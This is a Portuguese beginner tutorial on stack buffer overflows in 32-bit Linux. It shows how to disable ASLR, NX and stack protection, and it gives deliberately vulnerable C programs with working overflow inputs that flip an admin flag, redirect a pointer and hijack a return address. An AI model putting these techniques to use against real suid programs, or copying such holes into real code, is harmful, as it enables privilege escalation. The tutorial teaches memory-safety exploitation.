o 1 /\ / \ 1 T l _|GDB |_ O (^ '----' `) `\-....-/^ 1 1 ) 0/ 0 ( _( (..) )_ O /\ ( <> ) /\ / \( ) / \ 1 o \) ( / \ / ( ) \ / 1 \( \ __.--' O .._ \ //|)\ , /(((\^)'\ | | O ) ` | | / 1___ / / / _.-''^^__O_^^''-._ / .' / -''^^ ^^''- \--'^ .' .`. `'''----'''^ .`. \ .' / `'--..____..--'^ \ \ / _.-/ \ / \ \ .::'_/^ | GCC \\ ______| `. .-'| \ 0x90 | `-. //////// _.--'` \ \ BOF / `-. | | / x00/* \ \ / `-._ ______| 0 > | `'---..__ `. \.´_.._ _________________ \/\/\/\ \ ~~~ ``'''`. .'\ x90/x90/x90/x32/x01/x0a/x90/x90 | |----\ / `-..______..-' \_________________________ |\/\/\/\/ ______| ) \_______// | Kernel | __________ _____ _____ \______ \__ ___/ ____\/ ____\___________ | | _/ | \ __\\ __\/ __ \_ __ \ | | \ | /| | | | \ ___/| | \/ |______ /____/ |__| |__| \___ >__| \/ \/ ________ _____.__ \_____ \___ __ ____________/ ____\ | ______ _ ________ / | \ \/ // __ \_ __ \ __\| | / _ \ \/ \/ / ___/ / | \ /\ ___/| | \/| | | |_( <_> ) /\___ \ \_______ /\_/ \___ >__| |__| |____/\____/ \/\_//____ > \/ \/ \/ Para Iniciantes ================ Buffer Overflows para Iniciantes --------------------------------- aka BOF for dummies por m0nad ----------------------------- - Apresentação - O que é um Buffer Overflow? - Ambiente - O binário e processo ELF - Desabilitando Proteções - Identificando a vulnerabilidade - Métodos de Exploração Podemos sobrescrever outras variáveis da pilha Podemos também, sobrescrever por exemplo, um ponteiro. Tomar o controle de fluxo da aplicação! - Conclusão - Agradecimentos - Apresentação Eu me chamo Victor Ramos Mello aka m0nad, tenho um github (https://github.com/m0nad) e meu email é m0nad /at/ email.com. Estou aqui para demonstrar o funcionamento de buffer overflows, esta técnica muito falada, mas pouco entendida, teremos aqui uma introdução ao tema. - O que é um Buffer Overflow? Buffer overflow, traduzindo, seria transbordamento de memória, acontece quando se coloca mais dados do que a capacidade de um buffer. Isso acontece, pois o programador, não verifica a quantidade de dados que irão ser colocados dentro de uma determinada área de memória, este excesso de dados, pode levar ao corrompimento de outras áreas de memória adjacentes, levando ao programa a comportamentos inesperados, ou mesmo o travamento do programa. Um atacante pode se utilizar disso para travar a aplicação propositalmente ou mesmo tomar o controle do fluxo do programa, possibilitando ganhar privilégios no sistema, no caso de uma aplicação remota, a possibilidade de se ganhar acesso ao sistema. - Ambiente O ambiente que mexeremos sera o GNU/Linux de 32 bits, no meu caso um Ubuntu, mas a técnica é independente de sistema, a versão do kernel e das ferramentas utilizadas segue abaixo: ------------------------------------- m0nad@m0nad-notebook:~$ cat /etc/issue.net Ubuntu 11.04 m0nad@m0nad-notebook:~$ uname -r 2.6.38-13-generic m0nad@m0nad-notebook:~$ gdb --version GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2 Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". For bug reporting instructions, please see: . m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$ ------------------------------------- - O binário e processo ELF Já que estamos num ambiente GNU/Linux, temos que saber um pouco sobre o binário ELF - Executable Linked Format - para entendermos como um processo fica organizado na memória, vamos a ver: ------------------------------------- 0xffffffff Endereços Altos 0xc0000000 : : |---------------| | stack | |---------------| <- esp | | | | V | | | |---------------| 0x40000000 | shared libs | |---------------| | | | A | | | | |---------------| <- brk | heap | |---------------| | .bss, .data | |---------------| | .init, .text, | 0x08048000 | .rodata | |---------------| Enedereços Baixos 0x00000000 : : ------------------------------------- Podemos ver como o processo fica organizado, é importante entender que a pilha(stack) cresce decrementando o registrador 'esp' - Extended Stack Pointer - ou seja, o ponteiro da pilha, que aponta sempre para o topo da mesma, a pilha cresce decrementando o 'esp', a heap cresce usando malloc(e similares) por meio da chamada de sistema(system call) 'brk' ou 'sbrk' para ajustar o seu tamanho, abaixo temos as areas 'bss' e 'data', que ficam variáveis globais e inicializadas, e mais abaixo fica o 'code segment', que contem as instruções executáveis. - Desabilitando Proteções Com o advento das técnicas de exploração deste tipo de vulnerabilidade, proteções foram desenvolvidas, para que mesmo quando o programa for de fato vulnerável, o sistema não possa ser comprometido, algumas dessas proteções estão vindo por default em distros como Ubuntu e Fedora por exemplo, no caso, fiz todos os testes em Ubuntu 10.10 e para este, tive que desabilitar algumas proteções, como: Adress Space Layout Randomization, chamado simplesmente de ASLR, este tipo de proteção, deixa áreas de memória, (como stack, heap, libc) com endereços 'aleatórios', dificultando a exploração de vulnerabilidades desse tipo. Para desabilitar o ASLR, basta digitar, como root: ------------------------------------- # echo 0 > /proc/sys/kernel/randomize_va_space ------------------------------------- Outra proteção é NX bit - Non eXecute bit - que impede a execução de código em areas que temos permissão de escrita, este tipo de proteção impede a exploração com o uso de shellcodes, para desabitar este tipo de proteção basta usar a opção do gcc '-z execstack'. ex: ------------------------------------- $ gcc -o vuln vuln.c -z execstack ------------------------------------- Outro tipo de sistema de proteção, é o Smash The Stack Protection também conhecido como ProPolice, este tipo de proteção funciona colocando-se um 'cookie', ou seja um valor, no topo do buffers, e caso este valor seja alterado, devido a um transbordamento, uma função ira verificar o valor do cookie, caso esteja diferente, o programa é finalizado. Para desabilitar o SSP(smash the stack protection aka propolice), quando for compilar seu código vulnerável, basta acrescentar o argumento '-fno-stack-protector' no momento de compilar o seu código. ex: ------------------------------------- $ gcc vuln.c -o vuln -fno-stack-protector ------------------------------------- - Identificando a vulnerabilidade Como mencionei acima, a falha acontece quando o programador não verifica a quantidade de dados que serão colocados em um determinado buffer. Quando os dados que serão copiados para dentro de um buffer, forem de origem do 'imput' do usuário, um atacante poderá se aproveitar disso. Um exemplo disso seria a função gets(), que não verifica quantos bytes serão colocados dento de um determinado buffer. Exemplo: ------------------------------------- m0nad@m0nad-desktop:~$ cat bo_gets.c #include #include int main() { char buffer[4]; gets(buffer); return 0; } m0nad@m0nad-desktop:~$ gcc -o bo_gets bo_gets.c -fno-stack-protector /tmp/ccFfap5X.o: In function `main': bo_gets.c:(.text+0x11): warning: the `gets' function is dangerous and should not be used. m0nad@m0nad-desktop:~$ ./bo_gets AAAAAAAAAAAAAAAAAA Falha de segmentação m0nad@m0nad-desktop:~$ ------------------------------------- Vimos que a aplicação 'crasha' ao se colocar um pouco mais do que 4 bytes, que seria o limite do buffer, o porque isso acontece sera explicado mais a frente, vamos ver agora como tirar proveito disso. - Métodos de Exploração Podemos sobrescrever outras variáveis da pilha. Por exemplo, sobrescrever uma variável, que no caso verifica se o usuário é admin e assim possivelmente ganhar privilégios. ------------------------------------- m0nad@m0nad-desktop:~$ cat bo_admin.c #include #include #include int main(int argc, char ** argv) { int admin = 0; char user[16]; if (argc > 1) { strcpy(user, argv[1]);// aqui o overflow! printf("Bem vindo %s\n", user); }else { printf("./bo_admin usuario\n"); } if (admin) { puts("HACKED!\nVoce eh admin"); } return 0; } m0nad@m0nad-desktop:~$ gcc -o bo_admin bo_admin.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_admin m0nad Bem vindo m0nad m0nad@m0nad-desktop:~$ ------------------------------------- Bem, nesse código não ah uma verificação para mudar o valor da variável 'admin' de '0', para algo diferente de zero, que validaria o nosso 'if', o único jeito, seria com um overflow, neste caso, as variáveis são locais da função main, logo elas são armazenados na pilha(stack), as variáveis na pilha se organizam dessa forma: ------------------------------------- Endereços Altos |---------------| <- ebp | 0x00000000 | admin Pilha Cresce |---------------| | | 0x???????? | V | 0x???????? | | 0x???????? | | 0x???????? | user[16] |---------------| <- esp Endereços Baixos ------------------------------------- Os '0x??' representam os bytes que não sabemos, já que é um buffer não inicializado, e acima temos os o espaço para a variável 'admin', com o valor zero. Outra maneira de visualizar seria na horizontal: ------------------------------------- esp ebp | | v <--- pilha cresce V |????????????????|0000| :user[16] :admin ------------------------------------- O que faremos para conseguimos o overflow é encher o buffer 'user' para atingirmos a variável 'admin', vamos tentar: ------------------------------------- m0nad@m0nad-desktop:~$ ./bo_admin m0nad Bem vindo m0nad m0nad@m0nad-desktop:~$ ./bo_admin m0nad____________ Bem vindo m0nad____________ HACKED! Voce eh admin m0nad@m0nad-desktop:~$ ------------------------------------- HACKED! somos admin! :) Isso acontece porque a variável 'user', sofreu um transbordamento e atingiu a variável 'admin', modicando seu conteúdo para algo diferente de '0', validando assim o nosso 'if', que verifica se somos admins. Vamos ver como isso ficou: ------------------------------------- |---------------| <- ebp | 0x0000005f | admin |---------------| | 0x5f5f5f5f | | 0x5f5f5f5f | | 0x5f5f5f64 | | 0x616e306d | user[16] |---------------| <- esp ------------------------------------- Podemos ver os valores em hexa da string, e como o caractere '_' atingiu a variável 'admin', modificando assim o seu valor, vamos ver na horizontal: ------------------------------------- esp ebp | | v <--- pilhs cresce V |m0nad___________|_000| :user[16] :admin ------------------------------------- Acho que ficou fácil de entender o que acontece nesse overflow, vamos para outro exemplo. Podemos também, sobrescrever por exemplo, um ponteiro. Vejamos o código: ------------------------------------- m0nad@m0nad-desktop:~$ cat bo_pointer.c #include #include #include int main(int argc, char ** argv) { char * arquivo = "/tmp/arquivo"; char buffer[4]; if (argc > 1 ) { printf("Arquivo antes : %s\n", arquivo); strcpy(buffer, argv[1]); //aqui o overflow printf("Arquivo depois : %s\n", arquivo); } } m0nad@m0nad-desktop:~$ gcc -o bo_pointer bo_pointer.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_pointer AAA Arquivo antes : /tmp/arquivo Arquivo depois : /tmp/arquivo ------------------------------------- Sera que conseguimos transbordar a variável buffer, ate' chegarmos na variável 'arquivo'? Hmm...vamos ver :) ------------------------------------- m0nad@m0nad-desktop:~$ ./bo_pointer AAAA Arquivo antes : /tmp/arquivo Arquivo depois : ��u���[]Ð�U��S�� ------------------------------------- Vemos que de alguma forma afetamos o endereço para onde a variável ponteiro 'arquivo' estava apontando. Isso ocorre pois o buffer só tem a capacidade de armazenar 4 bytes, ou seja, no máximo 3 'A's e mais o nullbyte. Algo como: ------------------------------------- buffer[0] = 'A'; buffer[1] = 'A'; buffer[2] = 'A'; buffer[3] = '\0'; ------------------------------------- Quando colocamos mais do que 4 bytes, o buffer 'acima' é sobrescrito. Mas será que podemos colocar um endereço valido? Claro que sim! veja o exemplo! (lembre-se de desabilitar o ASLR, como mencionei a cima) ------------------------------------- m0nad@m0nad-notebook:~$ export HACK="/etc/passwd" m0nad@m0nad-notebook:~$ ./getenv HACK bffff62c m0nad@m0nad-notebook:~$ ./bo_pointer AAAA`printf "\x2c\xf6\xff\xbf"` Arquivo antes : /tmp/arquivo Arquivo depois : swd m0nad@m0nad-notebook:~$ ./bo_pointer AAAA`printf "\x24\xf6\xff\xbf"` Arquivo antes : /tmp/arquivo Arquivo depois : /etc/passwd m0nad@m0nad-notebook:~$ ------------------------------------- Sucesso! Conseguimos alterar o valor da variável! para algo que queriamos. Vejam que colocamos o endereço em 'little endian', onde o valor 0xbffff62c, ficou '2c f6 ff bf'. mas só pegou o 'swd', isso é por causa do alinhamento da pilha, com um pequeno cálculo, colocamos o endereço certo, e conseguimos o '/etc/passwd'. Bem se fosse um suidroot, que alteraria esse arquivo temporário, baseado em algo que escrevemos, poderiamos possivelmente escrever dentro de /etc/passwd, adicionando talvez um usuário como root! abaixo o código do 'getenv': ------------------------------------- #include #include int main(int argc, char ** argv) { char * path; if (argc < 2) { puts("Sem argumentos"); exit(1); } path = getenv (argv[1]); if (path!=NULL) printf ("O endereço e': %p\nSeu conteúdo e': %s\n", path, path); return 0; } ------------------------------------- Tomar o controle do fluxo da aplicação! Podemos sobrescrever por exemplo, um ponteiro para uma função, alterando-o para o endereço de qualquer função dentro do código, ou mesmo fora dele, quando essa variável tipo ponteiro para função foce chamada, executaria oque apontarmos, no caso de um suid-root, poderíamos executar uma shell recebendo assim acesso root! Ou no caso de um servidor, nos dando acesso ao sistema. Bem, mas isso nem sempre é necessário, já que quando se tratando de buffer overflows em variáveis locais, que são localizadas na pilha(stack), então estamos tratando de transbordamentos dentro da pilha (stack-based buffer overflows), podemos sobrescrever o 'endereço de retorno', que é salvo na pilha a cada vez que se chama uma função. Por exemplo, em assembly quando se chama uma função usamos a instrução 'call', seguida do endereço da função, ex: ------------------------------------- m0nad@m0nad-desktop:~$ cat > puts.c #include int main() { puts("exemplo"); return 0; } ^C m0nad@m0nad-desktop:~$ gcc -o puts puts.c m0nad@m0nad-desktop:~$ ./puts exemplo m0nad@m0nad-desktop:~$ gdb puts GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: ... Lendo símbolos de /home/m0nad/puts...(no debugging symbols found)...concluído. (gdb) disas main Dump of assembler code for function main: 0x080483e4 <+0>: push %ebp 0x080483e5 <+1>: mov %esp,%ebp 0x080483e7 <+3>: and $0xfffffff0,%esp 0x080483ea <+6>: sub $0x10,%esp 0x080483ed <+9>: movl $0x80484c0,(%esp) 0x080483f4 <+16>: call 0x8048318 0x080483f9 <+21>: leave 0x080483fa <+22>: ret End of assembler dump. (gdb) ------------------------------------- Usando o gdb, com o comando 'disas main', nos 'disassemblamos' a função main, mostrando assim, as instruções utilizados para realizar esse código. Vemos a linha ' 0x080483f4 <+16>: call 0x8048318 ', chamando a função puts. Quando a instrução 'call' é chamada, ela da um 'push' no endereço da próxima instrução, nesse caso '0x080483f9', ou seja, salva este endereço na pilha, e depois aplica um 'jmp' para '0x8048318', ou seja, da um pulo para essa parte do código, que é a função 'puts', o motivo para que, a instrução 'call' salva o endereço na pilha, é para saber, para onde o programa deve voltar, quando sair da função 'puts', ou seja, aonde deve retornar dentro da função 'main'. Sabendo disso, podemos sobrescrever esse endereço de retorno salvo na pilha! E assim tomar o controle do fluxo da aplicação! Vejamos: ------------------------------------- m0nad@m0nad-desktop:~$ cat bo_hack.c #include #include #include void hack() { printf("Hacking!\n"); exit(0); } int main(int argc, char ** argv) { char bug[4]; if (argc > 1) { printf("Endereco de hack : %p\n", hack); strcpy(bug, argv[1]); //aqui o overflow } return 0; } ------------------------------------- Não chamamos em nenhum momento a função hack(), vamos tentar dar um overflow e sobrescrever o endereço de retorno salvo na pilha, para depois jogar o eip para a função hack e executa-la! ------------------------------------- m0nad@m0nad-desktop:~$ gcc -o bo_hack bo_hack.c -fno-stack-protector m0nad@m0nad-desktop:~$ ./bo_hack AAAA Endereco de hack : 0x8048484 m0nad@m0nad-desktop:~$ ./bo_hack AAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Falha de segmentação m0nad@m0nad-desktop:~$ ------------------------------------- Conseguimos um crash, vamos ver no gdb. ------------------------------------- m0nad@m0nad-desktop:~$ gdb bo_hack GNU gdb (GDB) 7.1-ubuntu Copyright (C) 2010 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: ... Lendo símbolos de /home/m0nad/bo_hack...(no debugging symbols found)...concluído. (gdb) r AAAAAAAAAAAAAAAA Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0xb7e8ab00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) r AAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () (gdb) r AAAAAAAAAAAAAAAAAAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAAAAAA Endereco de hack : 0x8048484 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () ------------------------------------- Vemos que recebemos um 'Segmentation fault' ------------------------------------- 'Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()' ------------------------------------- Pois sobrescrevemos o endereço de retorno salvo na pilha, e este valor é copiado para o contador de instruções (instruction pointer - eip), jogando o eip para '0x41414141' ou seja, o programa tenta pular pra esse endereço de memória, que nada mais são do que o valor em hexadecimal em ASCII do caractere 'A', como esta área de memória não possui um código valido ou permissão de execução, o programa 'crasha', agora você já sabe o porquê :). Caso colocarmos o endereço da função 'hack' no exato lugar do de onde esta o '0x41414141', podemos executa-la! Vamos tentar: ------------------------------------- (gdb) r AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/m0nad/bo_hack AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` Endereco de hack : 0x8048484 Hacking! Program exited normally. (gdb) q m0nad@m0nad-desktop:~$ ./bo_hack AAAAAAAAAAAAAAAA`printf "\x84\x84\x04\x08"` Endereco de hack : 0x8048484 Hacking! m0nad@m0nad-desktop:~$ ------------------------------------- Sucesso! com isso podemos setar o nosso endereço de retorno para qualquer lugar que quisermos! E assim tomar o controle da aplicação! Poderíamos setar o endereço para um código valido, feito por nós, chamado de shellcode ou payload, ou para um endereço da libc, como a função system, e assim executar comandos na maquina, essa técnica é chamada de return to libc, ou seja, retornar para a libc, essa técnica eu descrevo em um artigo meu Retornando para libC (https://raw.github.com/m0nad/Papers/master/ret2libc.txt), dando bypass no NX-Bit, outra técnica seria Return-Oriented Programming, que retornaria para gadgets, pequenas instruções no binário seguidas da instrução 'ret', estes gadgets encadeados formam o código a ser executado, mas esta é outra estoria :) - Conclusão Buffer overflows são uma falha de segurança seria, que podem levar ao comprometimento da aplicação, travando-a, ou controlando seu fluxo, e dependendo do nível de permissão da aplicação pode-se levar ao comprometimento do sistema.